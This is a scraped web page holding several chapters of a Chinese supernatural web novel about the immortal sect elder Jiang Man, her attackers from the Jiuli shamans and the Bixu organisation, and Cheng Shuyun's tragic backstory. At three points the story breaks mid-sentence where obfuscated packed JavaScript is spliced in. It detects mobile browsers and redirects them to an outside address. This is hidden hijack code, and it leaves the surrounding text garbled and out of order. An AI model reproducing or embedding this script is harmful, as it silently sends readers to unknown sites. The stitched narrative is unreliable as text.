姜满推门进到病区,中间的护士台里,坐着一个护士正在电脑前忙碌,见有人进来,看了一眼,只当是病人家属,又低下头继续忙着。 这既要归功于姜满随意的打扮,还有她手里拿着的盆和毛巾。 护士台两侧是病房。 姜满扫了一眼,向左侧走去,路过一间间病房,然后停在了一个单人病房门口,她透过门上的透明玻璃往里看了一眼,随即推开门,进去用手机拍下了那个病床上熟睡的病人面孔。 做完这一切,她离开病房,走到病区里面的杂物间,扔掉了盆和毛巾,重新回到了病区外。 作为天一道的大长老,姜满自然可以调动天一疗养院的资源,她早就对当初戴阿福的事起了疑心,那时戴阿福所宿的身体如今就在天一疗养院,经调查,程书韫应该就是在这里,认识的戴阿福。 那被阿福附身的身体上也有菊瓣印记,证明当初的戴阿福能顺利成为怨灵,甚至帮助他的主人作邪法,少不了碧虚的推波助澜,只是小狗灵的脑袋太简单,它只在乎它的爸爸,在它的记忆里,看不到这些细节。 程书韫的事处理起来不太容易,但能解决,收获也不小。 而且,如非必要,姜满并不想逼迫程书韫,为了张云汉也好,为了人情冷暖也罢,她还是希望,能用最温和的方式,帮程书韫解决这一切。 收起手机,姜满推开安全通道的门,走了进去,黎佳宁正坐在台阶上等她。 此刻的黎佳宁看起来,有些不安。 “说吧,从头到尾,不要有一丝隐瞒。” 黎佳宁皱着眉头,犹豫地看着她,“我说了,您就帮我吗?” 姜满倚在门边,“你说,我考虑;你不说,那就各回各家。” 黎佳宁咬了咬嘴唇,深吸一口气,娓娓道来…… 麓川南榆县深山之中,原本有一门传承百世的巫玄,名曰金门寨。 一百多年前,金门寨销声匿迹,九黎寨取而代之,成为玄人界闻名的巫玄。 九黎寨自称黎氏,乃神族之后,玄人修仙,九黎巫玄却号称修神,其址位于南榆县深山一座大山山体之内,有族众几百人,留于族中的仅百人不到,有祭司九位,其中,楼缅翁是为大祭司。 祭司为世袭,每一辈选出佼佼者为楼缅翁。 黎佳宁就是这一辈最有望成为楼缅翁的祭司后人之一,她的母亲在九黎寨祭司中排行第七,父亲却并非玄人,是来麓川旅游的大学生,因缘际会,与母亲相识相爱,成为夫妇,原籍檀州人。 黎佳宁自小跟父亲生活在檀州,十六岁时回到九黎寨,接受巫玄教引,后母亲陪同其回到檀州,因母亲接到密令,密切关注天一道那个从不露面的大长老,姜满。 也许是老天有眼,九黎寨安排在外的几个探查疑似长生者的巫玄,只有檀州的黎佳宁和她的母亲终于等到了端倪。 那天雾很大,黎佳宁作为巫玄,却很喜欢蛰伏在天一道紫微山深林之中,修炼之余,也方便观察天一道动向。 虽然,她完全没有发现天一道大长老出山了,但,她听到了一声不寻常的巨响。 待她赶到时,发现紫微山路发生了车祸,她躲了起来,直至救援人员抵达,她立刻骑上摩托车,追上了救护车,跟到了薄家私人医院。 她伪装成护士,密切关注着伤者情况。 功夫不负有心人,果然,她真的找到了长生者! 一个年轻的姑娘,在天一道三十几年依旧容颜不改的姑娘;一个树枝贯穿胸口,伤口却消失了的姑娘;一个天一道弟子称为大长老的姑娘…… 就是她!天一道大长老,姜满! 长生的秘密一旦到手,九黎寨将所向披靡,永生不息,直至成神! 而作为功臣,她,黎佳宁,将会正式即位,成为新的楼缅翁,带领九黎寨走向神坛! 母亲先行回到九黎寨,而黎佳宁按照楼缅翁的指示,负责将姜满引去九黎寨。 他们不怕姜满不肯说,只要她敢来九黎寨,只要能让她来到九黎寨,强大的楼缅翁自有办法让她开口。 山林树木就是巫玄最好的掩护,但黎佳宁并不敢离姜满太近,她在附近树林里远远的看着,终于等到了姜满出院。她怕被发现,于是打车跟着,路越来越偏的时候,她及时下了车,然后,她只能步行。 幸运之神眷顾,她找到了那几个人的车,于是她埋伏在不远处,等了许久,然后操控尸傀靠近,瞄准时机,抢走了姜满手中那只灵。 原本她并不确定,这只灵是否对姜满重要,但是姜满的反应给了她答案。 一切都是那么顺利,黎佳宁带着那只灵踏上了回九黎寨的路,只等三天后姜满到来,从此,她将会成为最伟大的巫玄,带领九黎寨成神! 可她没有想到,事情并不如预期那般顺利。 下了飞机,黎佳宁等待取行李的时候翻看手机,却刷到了一条视频,视频上那张清澈美丽的脸庞,竟然是姜满! 这个长生者竟然……不知死活的广而告之!她不怕吗? 长生这样的事,如果一旦被玄人知道,被确定,那么,所有玄人的注意力都将会集中在姜满身上,即便姜满再强,也寡不敌众啊!迟早要被吃干抹净的! 她是无知还是无畏,亦或是无知所以无畏? 但黎佳宁做梦也没有想到,这条视频并没有给姜满带来太大的麻烦,反而,给九黎寨带来了灭亡。 离开机场的黎佳宁立即赶到九黎寨,将姜满发视频的事告知楼缅翁后,接到指令,她需要返回麓川市机场附近,等候姜满几人到达,然后一路盯住他们,以防万一。 黎佳宁在麓川机场附近的快捷酒店住了一天,就在姜满他们抵达前一天晚上,母亲的尸傀来了。 九黎寨每一个巫玄都可以拥有自己的尸傀,有的是虫尸,有的是兽尸,有的是鸟尸,不同的尸傀,结契难度也是不同,尸傀可以发出人声,等同于主人的眼睛,也可以传导术法,却没有任何气息,也不会显露任何灵能,所以,体型越小越难。 黎佳宁母亲的尸傀,是一只乌鸦。 它说:不要回来,永远不要再回九黎寨。 黎佳宁像是感应到了什么,她犹豫再三,还是赶了回去,但她躲在了山里,派出了自己尸傀——一只蜘蛛。 毋庸置疑,黎佳宁是一位十分优秀的巫玄,但,她的尸傀再也没有回来。 尸傀的好处便是它是死物,死亡的东西再死一次,或是消失,对于它的主人而言,不会受到任何反噬,只是,尸傀难练,九黎寨历来的巫玄,哪怕强大如楼缅翁,也没听说过谁拥有第二只的。 黎佳宁彻底慌了,她再也感受不到她的尸傀,她想不到谁能有这样的手段。 她偷偷靠近九黎寨鬼林窄洞,窄洞中的人头桩仍在,她施法想通过人头桩听到一点洞内深处九黎寨的声音。 黎佳宁的妈妈曾经告诉她,那里的人头桩是本来就有的,但是九黎寨最早的楼缅翁把那上面的人头全都烧了,换用牲畜颅骨拼接成人头模样,在上面设下了通灵秘法,凡九黎寨巫玄,都可以施法在这些骨头上听到密语…… 姜满眉头微蹙,“然后呢?” 黎佳宁咬了咬嘴唇,继续道:“我先被他们关进了一辆车里,是那种货车车厢,那里面不见天日,我也不知道过去了多久,他们只给我喝水,后来,我只记得外面天是亮的,一个带着面具的女人把我送上了一辆深色轿车,然后司机开车把我带走了,您猜,那个司机是谁?” “少卖关子,爱说不说。” 黎佳宁脸色看起来似乎有些紧张,“葵山道,程良程长老。” 姜满没再追问,她闭上眼,脑中整理着黎佳宁说的一切。 关于九黎寨寻找长生者的事,倒是都对得上,薄家私人医院的偷听者、超度阿福后抢走阿卓的九黎寨诡音、姜满叫李妆娇发的那条视频给九黎寨带来了覆灭之祸…… 可是,程良,程书韫的教习师兄,竟是碧虚的人?这个碧虚手眼通天到如此程度?那么,玄人界各门各派,是不是都有碧虚的人?这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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厨房外的餐桌上,薄月双手托着下巴,深吸了一口香气,舔了舔嘴巴,道:“哥,你还要做多久?之前做的先给我尝尝呗?” “还不行,待会儿就好。” 薄月回过头,眼巴巴地看着薄临,“可是,我好饿……我本来不饿的,完全是被你引诱出来的馋虫……” 薄临走到那几盘排骨面前,挑挑选选,最后还是摇摇头,“你再等等,刚刚那份肉质有些老,前面的已经凉了,不好——” 他忽然顿住了。 “我不介意的,凉的也行的,我……”薄月察觉到他的异样,“哥?怎么了?” 薄临没说话,喉咙口忽然涌出一阵腥甜,他不禁轻咳一声,吐出了血。 他的脸色愈发苍白。 “哥!”薄月连忙起身扶住他。 薄临推开薄月的搀扶,随手擦去嘴角的血迹,血迹在他手背上开出一朵抽象的花,将他的嘴唇染得鲜红。 “她出事了……”他拿起一块白巾擦了擦手,往外走去,嘴角带起一抹冷笑,“他们竟敢如此伤她,果真是不怕遭天谴!” “哥……” 薄月追着薄临的身影走到房子外面,看着他瞬间消失,她有些害怕。 哥哥生气了,她很怕生气的他,她更怕,他被……发现。 她抬头看向夜空,心中泛起一丝恐惧。 轰隆隆—— 一声惊雷响起,张云汉从梦中惊醒,看着外面电闪雷鸣,他揉了揉眼睛,疑惑地拿出手机,点开天气预报。 不对啊,明明这几天都是晴天,怎么好好的就要下雨了。 雷声并不近,那一下却响得惊人。 张云汉本就睡得不好,梦做的乱七八糟,他干脆坐了起来,看向窗外,回忆着梦里的大火与灰烬。 半晌,电闪雷鸣后,却不见半点雨落下。 好怪的雷,好苦的梦。 42. 第一座山(42) 姜满猛地睁开眼。 柔和的灯光,松软的床铺,空气里弥漫着熟悉的香气,很好闻,还有人握着她的手。 她放低视线,看见了床边守着的薄临,他睡着了,伏在她身旁。 身体有些发僵,她试图抽回手,却竟然失败了。 “薄、薄先生……” 她嗓音嘶哑,声音很低,好像连说话的力气都没有,嘴巴里泛起莫名的甜味,她下意识咂了咂嘴,腥甜,是血…… 薄临闻声醒来,坐起身子,神色欣喜,“你醒了,你……感觉怎么样?” 姜满想要坐起来,却发现有些困难,她也懒得挣扎,躺平后吃力地伸手擦嘴,“我……嘴里,怎么一股,血味?阿卓呢?他……” “都好,他们都好。”听见她神志清晰地问话,薄临轻轻松了口气,他垂下眼帘,替她掖了掖被子,“有血味,是因为……你吐血了。” “吐血?我……怎么……” 她的头很疼,稍一回忆,就感觉要裂开一般。 “你已经睡了半个月了。”薄临站了起来,拿出手机,在薄月半月前新建的“祝姜老大早日康复”群里,通知了大家姜满苏醒了消息,随即继续道:“你先别急,刚醒就想太多事,费神,慢慢来。” 因为薄月觉得大长老太难听,姐姐妹妹的叫也古怪的很,于是她想出了姜老大这个称呼,众人也没有异议。 姜满皱着眉,“半个月……你说清楚。”她想问得更仔细些,可急切和不解让她几乎喘不上气。 现在这样的体力,她实在不习惯,怎么会连说话的力气都没有? 薄临叹了口气,“那晚,你去了四院,我们接到你手机打来的电话,说你出事了,我赶过去的时候,你连心跳都没了,浑身是血,整个人……就像……死了一样。” 他像是心有余悸,回忆起当时的场景,“你身体冰凉,医生诊断你已经……我那时真的以为你……后来,有人让我先把你带回去,再等一等,回来后,张云汉记起你说过,你不会死,然后,孔青医生替你缝合了脏器受损的伤口,薄月替你梳洗换衣,你就这样,睡了半个月。” 脏器受损…… “我……”姜满觉得自己的脑子有些乱。 薄临倒了杯温水,在水杯里放了一根吸管,走到床边轻柔地扶起她,让她靠在他的臂弯,然后把吸管送到她嘴边,“别急,先喝点水。” 姜满吸了一口,水流淌过喉管,似乎抚平了她声带微微的刺痛,她又吸了一大口,喝的急了些,呛得一阵咳嗽,嗓子又痛起来了。 “别急,慢慢喝。”薄临轻拍着她的背,柔声安抚。 姜满咳了一会儿,缓了口气,“是哪个人,让你把我,带回来的?” 记忆逐渐浮出水面,黎佳宁、钢针、符箓…… 薄临没说话。 房门被敲响,没等门内回应,几个人便推门而入。 张云汉率先冲了过来,扑在她的被子上,“大长老!不,老大!你可把我吓死了!还好您没事!太好了……” 姜满皱着眉,被子下的腿被他压得动弹不得,正要开口,却听两声“扑通”,两道倩影一前一后跪在她面前。 一个程书韫,一个黎佳宁。 “姜老大!我薄月可真是服了!您真乃神人也啊!难怪我哥这么看重你!您以后就是我老大!妖魔鬼怪我都不怕!” 薄月推开了张云汉,坐在床边握住了姜满的手。 满文卓缓缓走近,面带微笑,“阿满,你没事真是太好了。” 此刻的姜满靠在薄临身上,连坐起来的力气都没有,薄临扶着她坐正了一些。 姜满看向跪在地上两人,“她们两个,什么情况?” 所有人都不说话了,神色各异,气氛变得有些莫名的诡异。 姜满扫视众人后,缓缓闭上眼,她大概全想明白了。 “程书韫,你太心急了。” 程书韫抬起头,却是满脸泪痕,随即俯首,额头重重磕在地板上,“对不起……” 姜满伸手在床边摸着什么,薄临似乎猜到她所想,把床头的手机放进她手里。 “谢谢。”姜满打开手机相册,点出一张照片,然后递给薄临,“给她看。” 手机被传到程书韫手里,她看着那张照片,眼泪溢满眼眶。 “我既然说过帮你,那么,如果我的……脏器肺腑他能用,我自然不会,舍不得。”姜满缓缓说着,“可你不该,不问自取。” “对不起,真的对不起……” 姜满缓了口气,“可惜,你不问自取,不了解我这,不老不死。若我断手断脚,甚至断头,那么,少的部分,会长出来,而离开身体的,会成灰。” “我不知道……我什么都不知道……我只是太想救他了,我只是……对不起……”程书韫泣不成声。 “是啊,你为了给他续命,不惜养鬼为引,阴符做药。”姜满再次闭上眼,“我本以为,你是个好人。” “可我什么都没有了,他那么好,他不应该是这样的结局。” 薄月有些不忍心,走过去想扶起程书韫,却被程书韫拒绝了。 程书韫抬头看向姜满,“姜满,我与人联手害你,你无论如何问责,我都绝无怨言,我这条命都可以给你,我只求,你能救救他。” 姜满没说话,缓了一会,看向黎佳宁,“你呢?” 黎佳宁低着头,“我、我是被控制了,我也不想的,你知道我额头有他们的印记,你别怪我!我在医院和你说的一切都是真的!而且,我摆脱控制后,第一时间就带走你的手机逃走,是我打的电话,他们才会来救你的!所以,我……求你救救我爸妈,让我做什么都行。” 姜满看着她们,忽然笑了起来。 “你们,这是,把我当成菩萨了?” 众人不语。 张云汉似乎想岔开话题,笑着开口:“大长老,我听阿卓说,你要找掌门,我就知道你一定不会不管这事的,你打算去哪儿找?等你好了,我们先去哪儿找?” 姜满闭上眼,深吸一口气,随即看向张云汉,“去那个,叫‘碧虚’的会所。” “碧、碧虚?呃……”张云汉的表情看起来不太自然。 “怎么了?” 身后一直托着她的薄临,把他自己的手机递到了她面前。 她接过手机,上面是新闻页面,日期正是半月前:檀州市某知名会所,遭遇雷击引起火灾。 这会所建在山林之中,会所烧成了一片废墟,所幸,没有引起特大山火,具体人员伤亡统计暂无。 从配图中可以看到,原本会所的大门上,有一朵十丈珠帘。 姜满有些惊讶地看向薄临,“碧虚……被烧了?” 薄临点点头,“是的,别想那么多了,你需要休息。” 他扶着她重新躺下,起身看向众人,“我们先出去吧,让她好好休息。” 她的确需要休息,可这很不对劲,她怎么会需要休息呢? 半个月……这半个月她就好像[空]了一般,什么都不知道。 “等等,黎佳宁和程书韫,留下。”姜满微微抬头,叫住了起身准备离开的两个女孩。 姜满知道,当时她离开薄家,跟在她身后的尾巴就是程书韫,她觉得让程书韫知晓她了解得足够多,并不是坏事,反而更能促成程书韫主动献出怨灵。 如今看来,凡事都有代价,之前超度两个怨灵的成功,实在是过于轻松了些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990405|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在听黎佳宁提到葵山道程良程长老之前,姜满的确没有想到,程书韫竟然已经和碧虚联手了。 阿福附身的那个人身上,有碧虚的印记,而那个人原本,就是住在四院的,和程书韫在意的那个病人住在同一层,这才有了程书韫答应帮阿福的后话,然后在网上认识了姜满,二人约见。 所以,那个时候,程书韫就已经和那边搭上了吗? 姜满有些头疼。 浑身是血……她可以猜到,那些漫天飞舞的菊花花瓣,就是碧虚的人来了,然后剖腹取器官,想安排移植给程书韫在意的那个人,只不过,那器官恐怕保存没多久,就化成灰烬了。 但,在此之前,是黎佳宁,那根钢针…… 薄临离开前,在姜满头下放了两个软枕,让她能舒服些。 众人离开后,姜满看向双眼通红的程书韫,她的眼角还挂着泪珠。 “和你联系的人,是谁?碧虚到底,是什么地方?你身上,也有印记吗?” 说完,姜满低声清嗓,黎佳宁十分乖觉,立刻给姜满递上之前薄临准备的水杯,把吸管送到姜满嘴边。 程书韫深吸一口气,认真答道:“我不太清楚,几个月前,我的‘药’出了问题,他……快不行了,我很绝望,然后就出现了花瓣雨,是黄色的,像……你肩上那个。” 她低下头,她不知道姜满记不记得,当初在去落洞村山上,她见到姜满肩上的印记,故意没有形容成花瓣,而是说像拉长的水滴。 “那个声音说他能帮我,然后,我就答应了他,想办法接近你……我只知道和我联络的那个人,姓赵,这是我能确定的,我不能确定的……” “说。” “他们是一个很怪的组织,头目……暂且也称为掌门吧,几乎从不露面,而且,这个掌门,可能……和你有什么关联,似乎也姓姜……我不确定,所以……” 姜满闭上眼。 她太累了,身体的持续无力,让她极度不适应,过去她的恢复速度是那么快,可这一次,不仅睡了半个月,醒来还这么…… 姓姜的掌门。 姜满想到了那个异族服饰打扮的女人,和她长得一模一样的女人。 黎佳宁看看程书韫,“你身上没有印记?” 程书韫摇头,“没有。” 姜满睁开眼看向黎佳宁,“到你了,说吧,怎么回事。” 黎佳宁眨眨眼,“我坐在那辆神色轿车上,手脚被缚,在车里苦苦哀求,后来,那个葵山道的长老就停了车,松开了我的捆绑,然后就是……用我爸妈胁迫我,听从他们的安排,在我额角种下印记,再后来,我不知道车开到哪里了,他在马路边把我放了下来,让我,来找你……” 她这几日在薄家,众人都拿她当罪人看,只给吃喝,少有人与她说话,所以,她并不知道程书韫的身份。 “你漏了一件事,没说。”姜满眼睛半睁,看着她。 黎佳宁咽了咽口水,“嗯……他给了我一根长针,上面刻着细密的符文,是专门,用来对付你的。” 她本来不想说的,因为说出来就代表她收下了那根“凶器”,已经起了害人之心,何谈无辜?但在姜满面前,她莫名觉得,老实交代会更有利于她。 “但我真的,是被控制的,不然、不然我也不敢……我还想求你救我爸妈……” 姜满沉默了一会儿,看向程书韫,“等我好些,先解决你的麻烦,人,我不一定救得了,事,可以解决。”她歇了歇,继续道:“我要你全部的,怨灵。” 程书韫眼神复杂地看着她,轻轻点头,“好,我给你。” “那我呢?”黎佳宁追问道。 姜满并没理她,“出去吧,我累了。” 43. 第一座山(43) 程书韫的事情,还要从当年那场爆炸案之后说起。 她的父亲就是那个无辜枉死的医生,母亲为夫报仇,拉了一楼的人陪葬。 那是一栋老楼,一层两户,共五层,当天在家的二十几人,皆于梦中丧命。 后来,爆炸案家属组成了互助会,其中不乏有权有势之人,所以,查出爆炸案始作俑者还有个女儿,并不是难事。 于是,得知这个女儿被其姨妈收养,几年后,互助会中一个激进派,开车撞死了姨妈姨夫,当时,年幼的程书韫因表哥张云霆被路边小贩吸引,牵着妹妹去看那些玩具,两个孩子才幸免于难,但,张云霆也因此成了孤儿。 而那场车祸的凶手,只被判了交通肇事罪,服刑两年六个月。 此事之后,年幼的张云霆受人挑唆,对妹妹怀恨在心,认为是妹妹一家害死了他的一家,后,两个孩子都被送去了天一福利院,一次外出,张云霆寻机将幼妹丢弃,事后受天一道教化,逐渐明理,门中前辈告知,妹妹已经被葵山道收养。 自此,二人皆为道玄,后冰释前嫌。 但程书韫的人生,并未就此顺遂。 葵山道无法每时每刻都庇护她,所以,在她独自一人的时候,阴影总是笼罩着她。 从上学到实习,再到工作,爆炸案亲属互助会的手脚像是永远也无法了断,她的同学向她投来异样的眼神,老师从不正眼看她,所有人都知道,她是一个穷凶极恶、害死二十几人的凶手的女儿。 杀人犯的女儿,能是什么好人? 世俗的偏见自然远不止如此。 程书韫接受了无数恶意,这是她母亲带给她的果报。 但,并不是所有人都是俗人。 当年那场交通肇事案件,经手的一个警察,叫做孙浩然,那时的他才入职交警队不到一个月,即便他亲眼见到那辆肇事车分明是故意撞向那对夫妻,可根本没有人听他的声音。 孙浩然认为这是仇杀,他想查出凶手作案动机,上报申诉,可他毕竟只是交警,没有条件,也没有资格深究这件事,他什么也查不出来。 但事情并没有这样结束。 他在一次下班后遇到了程书韫,那时,小小的程书韫正在街角被人殴打。 缘起于此,只是说不清是正缘,还是孽缘。 这后面的许多事,是薄临给姜满的资料上没有的,那份资料很详细,甚至有那栋楼里每个人的个人信息,还有与程书韫有关的所有人的信息。 而关于这个警察孙浩然,资料中记录了他后来转任,成为了刑警,一直在暗自调查程书韫父母当年的案件真相,后来因公共场合施暴被停职,施暴对象,就是程书韫的丈夫,再后来,身患重病,详情不知。 但其中秘辛,不难猜出。 当年杀害程书韫父亲的凶手的儿子并没有死,死的是凶手的侄子。 凶手的这个儿子叫乔擎舟,他的父母离异,父亲死于爆炸案后,跟妈妈生活,他的外祖父是市局高层领导。 乔擎舟对程书韫的感情是复杂的,他是当初医院杀人案的唯一目击者,他最清楚真相是怎么回事,他也知道程书韫母亲想炸死的人,是他的父亲和他。 本以为一切都成过往,只需努力忘记就好,但命运弄人,乔擎舟后来成为了檀州大学的一名教授,而程书韫却成为了他的学生。 乔擎舟原本并没有过多注意这个学生,但后来,他知道了那个互助会中,有许多人一直在向她勒索钱财,他知道了她的身份。 出于愧疚,或是善意,他帮了她几次,然后隐瞒身份,与她逐渐熟悉起来。 这个姑娘有着这样残忍的身世,但她却长得很好,努力向上,除了上学就是打工赚钱,性格温柔大方,为人处世十分得体,乖巧文静又不失风趣幽默,很讨人喜欢。 乔擎舟渐渐爱上了这个姑娘,比他小十二岁的姑娘。 人心,谁能说得明白呢?他也觉得不可思议,可他就是爱上了她。 但程书韫不爱他。 乔擎舟无法接受她的拒绝,她明明不知道他是谁,难道是觉得年龄不相配? 可她的母亲害死了他的父亲,他的父亲害死了她的父亲。两债相抵,分明,他和她才是最般配的! 后来,乔擎舟发现,她坐上了一个男人的车,那个男人比他看起来还老,可她看那个男人的眼神,竟然……满是爱意!二人举止亲密,一看便知关系匪浅。 乔擎舟知道,程书韫很缺钱,可那台车并不是什么豪车,普通至极。 他压下心头汹涌燃烧的妒火,记下了车牌号,查出,这辆车登记在一个刑警名下,刑警名叫孙浩然。 程书韫为什么会和一个刑警,有这么亲密的关系? 知道的越多,乔擎舟就越是心惊胆战,他发现,这个刑警竟然在悄悄调查当年的事。 他害怕了,他怕当年的事被翻案,他更怕程书韫知道他的真实身份。 可程书韫怎么会不知道? 孙浩然调查这件事不是一天两天了,他肯定知道当年那个病人家属的名字,他又怎么会不告诉程书韫? 身为教授的乔擎舟自然不傻,他很快就想到了这一层。 他开始怀疑,程书韫从一开始就是故意接近他,为了更好的查明当初医院杀人案的真相。 愤怒和嫉妒,还有千丝万缕的恐惧交织在乔擎舟心头,他很清楚,当年的事要想真正的尘埃落定,必须解决程书韫。 乔擎舟也是互助会的一员,但他只想忘了这件事,所以很少参加互助会活动,而且,他的身份其实有些尴尬,毕竟,当年那个丧心病狂的女人想炸死的,是他和他爸爸,其他人都是无辜枉死,即便那些互助会的人知道,他和他爸爸也是“无辜”的,但作为真正无辜的受害人家属,不恨他,都算是明事理了。 所以,他没有办法利用互助会做什么。 转机,或许出现在两年后。 资料中显示,程书韫毕业后嫁给了乔擎舟,婚后多次遭遇家暴,后孙浩然当众警告乔擎舟无果,忍无可忍,对其进行殴打,乔擎舟入院,孙浩然受处分停职。 世间玄人,除僧玄外,皆是婚嫁自由。 程书韫过得苦,葵山道却不好插手凡人事,只对她除祟赚钱之事睁一只眼闭一只眼,而乔擎舟却一直不知程书韫玄人的身份,程书韫也因为身手皆出自葵山道,轻易不能对普通人动手,只能忍着。 后来,程书韫不堪忍受乔擎舟的暴行,躲进葵山道,此期间,乔擎舟不知何故,发了疯,后住进了精神病院。 程书韫却没有和他离婚,知情者皆道她自知父母欠乔擎舟良多,此番不离不弃,是还债也是夫妻之情深重。 互助会依旧源源不断索取程书韫的钱财,没有因为她结婚而停止,更没有因为她对乔擎舟的不离不弃而松口。 程书韫背负的,是本该活下去的人们的未来,和这些人的责任。 她没有怨言,但,孙浩然不该是这样的结局。 于程书韫而言,孙浩然是她灰暗人生里唯一一道光,像父亲,像朋友,更像爱人。他正义、阳光、热情、开朗,他用他能付出的所有,温暖了本已堕入寒冰炼狱的程书韫。 可他这样好的人,却身患绝症,命不久矣! 上天不公,命运不公! “……我知道,我没有机会嫁给他了,所以,我没有离婚,我不想放过乔擎舟,即便是错的,我也要他活着,一点点榨干他和他家最后的价值。” 程书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程书韫眉头微蹙,“可是,浩然他……” 姜满轻轻叹气,“你为什么觉得,他还想要这样活着呢?我见过他,瘦得不成人形,全靠机器和你的药,苟延残喘,吊着一口气。他已经快五十多岁了,二十年、三十年,他终归要走在你之前,即便出现奇迹,他痊愈了,恢复如初,但这个为了你的事执着了近二十年的人,再没有能力为当年的事翻案……” 她没有再说下去。 程书韫的眼眶红了,“他不该过这样的人生……如果没有遇见我……就好了……” “自己的人生都过不好,还有闲心操心别人的……你很清楚,怨灵阴气炼化的阴符之药于他,如同饮鸩止渴,若你把那些怨灵都给我,我拿完我要的东西,就会超度他们,也算是为孙浩然平了阴债。” 程书韫擦了擦眼角的泪,“当初你想要戴阿福那具‘带死气的阳衰之体’,我能猜到,你或许是为了阿卓,可你,现在又为何要怨灵?” 姜满笑着看她,“看来你的心力真的是罕见的充沛,不仅有闲心替孙浩然盘算‘如果’,还有空替我操心,你这么有心,不如,黎佳宁的父母你想办法去救吧?然后让她帮你救孙浩然。我记得,她会做尸傀,你可以让她把孙浩然做成尸傀,这样,这人就能永远陪着你了。” “尸傀……你、何必这样挖苦我?” 姜满调整了一下姿势,“你们最好搞清楚,我不是仙,更不是菩萨,也不会因为你够惨够无助就帮你,如果没有价值,我根本不会关心你是谁,所以,你应该庆幸,你手里有我想要的东西,而不是去揣度,我为什么要这些东西。” 程书韫低下头,轻声道:“云汉师兄对我说,你喜欢装恶人,看来,是真的了。” 姜满有些无语,“随你怎么想吧,三天内,你把怨灵送过来,三天后,我帮你解决互助会。” 程书韫眉头微蹙,“可是,怨灵不在我手里。” 姜满看着她,忽然笑了,“我倒是忘了,在麓川医院,你脖子上除了勒痕,还有掐痕……是,程良?那么,这位程长老在你的故事里,扮演的又是什么角色?” 44. 第一座山(44) 农历七月初七,姜满苏醒后的第二天。 经过一夜的休息,姜满的身体基本已经恢复了,她感觉到自己的自愈力应该差不多回来了。 睡醒没多久,薄临敲门后,端着一碗鱼汤走了进来,奶白的鱼汤,香气四溢。 “你身体才恢复些,喝点鱼汤,不油腻,还能补补身体,应该……不腥。” 姜满起身接过汤碗,看了他一眼。 昨天她刚苏醒,竟没注意,薄临的气色似乎更难看了,苍白得都不像个人,跟志怪小说里的女鬼似的。 “我已经好了,我觉得,你更需要补补身体,你喝吧。”她把汤碗重新递还给他。 薄临没接,“我起大早特意给你做的,你不尝尝?” “特意给我做的?”汤碗很烫,姜满放在了桌上,狐疑地看着他,“你也有事求我?” 薄临微微错愕,随即低头浅笑,他伸手用汤匙轻轻搅动鱼汤,似乎这样做能让它稍凉些,让她能喝上。 “有事。” 闻言,姜满反倒心安了些,“说吧。” “把这碗鱼汤,喝完。”他把汤匙挪到左边,端起汤碗递给她。 姜满看看他,无言以对,接过碗,小口喝了起来,“……你这汤,味道有一点怪。” “你既然喝不惯,那下次,还是让阿卓给你做。”他的眸色掩在长睫之下,嘴角带着疏离的笑。 “你这个人真的挺有意思的,用鱼汤跟我许愿,让我喝了鱼汤。”姜满喝着汤,此时她长发披散,不施粉黛,神态放松,“阿卓不会做汤,很奇怪吧?其实他做得好的,只有烤肉……以前,没有这些高级的厨具,升起一个火堆就能烤,烤到表面微微发焦,撒些盐,那时候能吃肉就很不错了,怎么做都好吃,阿卓呢,又一向要面子,我和阿姐想偷懒,为了让他主动做饭,就总是夸他厨艺好,做的菜好吃……” 薄临看着此刻的她,一时竟有些恍惚。 “薄先生。”姜满抬头看向他,“我可以满足你一个愿望。” “一个,愿望?” “嗯,我知道你不喜欢阿卓,但我是一定要带着他一起的,如果你实在讨厌,我们可以搬走,这些日子花了你不少钱,就还你一个愿望,你要觉得一个不够,那我也没办法,我只给你一个。” 姜满何等眼力,自然看得出薄临对阿卓的敌意,她也知道,阿卓的存在,于凡人而言,离奇又诡异,不喜欢,也在常理之中。 薄临摇摇头,“我不在意别人,也不希望你搬走,我也说过,这些钱对我而言不算什么,如果你想还,那,今天就暂且放下一切,和大家一起好好聚一聚吧,今日七夕,薄月正在院子里准备,为节日,也为庆祝你康复。” “张云汉呢?我睡着的这些日子,你有带他好好练练吗?” 薄临脸上露出笑意,“自然,你的嘱托我怎敢耽误,昨天给他加强了一下,现在应该是肌肉酸痛,起不来了,待会你喝完汤,我去叫他起床,继续练。” 姜满想了想,端起碗喝完了鱼汤,然后把空碗递给他,“不必了,今天让他也歇歇吧。” 那就再休息一日,明天一早就去会会那个程良,拿回怨灵,到时候张云汉要费些精神了。 “也?你是答应了?” “嗯,我还从来没过过节,以前没有时间,后来被关着,没人也没心情。” 薄临静静听着,缓缓开口,“恩人,我们应该算是朋友了吧?你的过去,愿意和我说说吗?作为朋友,我想了解你。” 姜满看看他,“我没有朋友,以前没有,以后也不会有,过去的事……有机会再说吧,也不是什么秘密。” 她的那点过去,那天把她绑在冷链货车上的敌人想必都知道的一清二楚,没理由继续瞒着自己这边的人,只是,她并不想让这些人掺和进来,成为她的累赘。 薄临笑了笑,“那你好好休息,我先出去了,有需要电话联系。” “好。” 看着薄临离去的方向,姜满若有所思。 这个男人有钱有势,却虚成这样,到底有些不正常,难道是因为家族有什么遗传?但薄月看起来倒是青春活泼、气血很足的样子,莫非是什么传男不传女的诅咒?所以他才跑去拉尔塔格金山上,想要去查那张照片?所以,他才会缠上自己? 若说姜满对薄临说的那张老照片毫无兴趣,那是不可能的,她只是选择了不想看。 